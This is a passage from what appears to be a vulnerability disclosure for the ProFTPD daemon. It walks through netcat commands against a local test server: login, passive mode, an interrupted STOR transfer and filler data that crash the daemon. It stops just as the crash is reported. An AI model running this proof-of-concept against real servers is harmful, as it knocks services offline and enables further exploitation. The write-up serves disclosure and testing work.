In my setup I changed default port to 2121 and created a user called poc.
Go to basic.conf file and change the Port value to:
Port 2121
Now, open a new shell (let's call this shell 2), netcat to FTP command
port and issue FTP login commands:
$ nc -Cv 127.0.0.1 2121
Connection to 127.0.0.1 2121 port [tcp/iprop] succeeded!
220 ProFTPD Server (ProFTPD Default Installation) [127.0.0.1]
USER poc
331 Password required for poc
PASS TretaTretaTretinha
230 User poc logged in
Now we need to start a data transfer. Since we want to have control over
the data, we could use STOU and STOR commands. However, due to the other
out-of-bounds read vulnerability, according to my tests, STOU is not a good
choice because:
a) it will mess up with the bounds and our exploitation;
b) we don't have control over the filename - this will be required if
you need to upload data into an existing file, in case you don't
have the permissions to create a new one.
So let's use STOR instead, but first let's put FTP in passive mode:
PASV
227 Entering Passive Mode (127,0,0,1,147,87).
The FTP data port to connect to is an unsigned short int (2-byte in size).
The formula to get port number is: X*256+Y. Open gdb and try it yourself:
gef➤ p/d 147*256+87
$4 = 37719
So in this case our FTP data port is 37719. Now open shell 3 and type:
$ nc -vl 127.0.0.1 $((147*256+87))
Connection to 127.0.0.1 37719 port [tcp/iprop] succeeded!
Now go back to shell 2 and issue the following:
STOR /tmp/blah.txt
150 Opening ASCII mode data connection for /tmp/blah.txt
At this moment, our FTP data connection is opened at shell 3, and waiting
for some data. Let's hold it for a while. Go back to shell 2 and issue some
fake commands:
1111 AAAAAAAAAAAAAAAAAAAAAAA
2222 BBBBBBBBBBBBBBBBBBBBBBB
3333 CCCCCCCCCCCCCCCCCCCCCCC
^C
$
Notice that after 3 fake commands I pressed ctrl+c to close the FTP control
connection, so we have no more control over this connection.
Now, go back to shell 3 and send some data:
$ nc -Cv localhost $((147*256+87))
Connection to localhost 37719 port [tcp/*] succeeded!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
nc: write failed (0/2): Broken pipe
$
As you can see, the connection was closed by remote host after some data
sent and a crash on ProFTPd daemon happened:
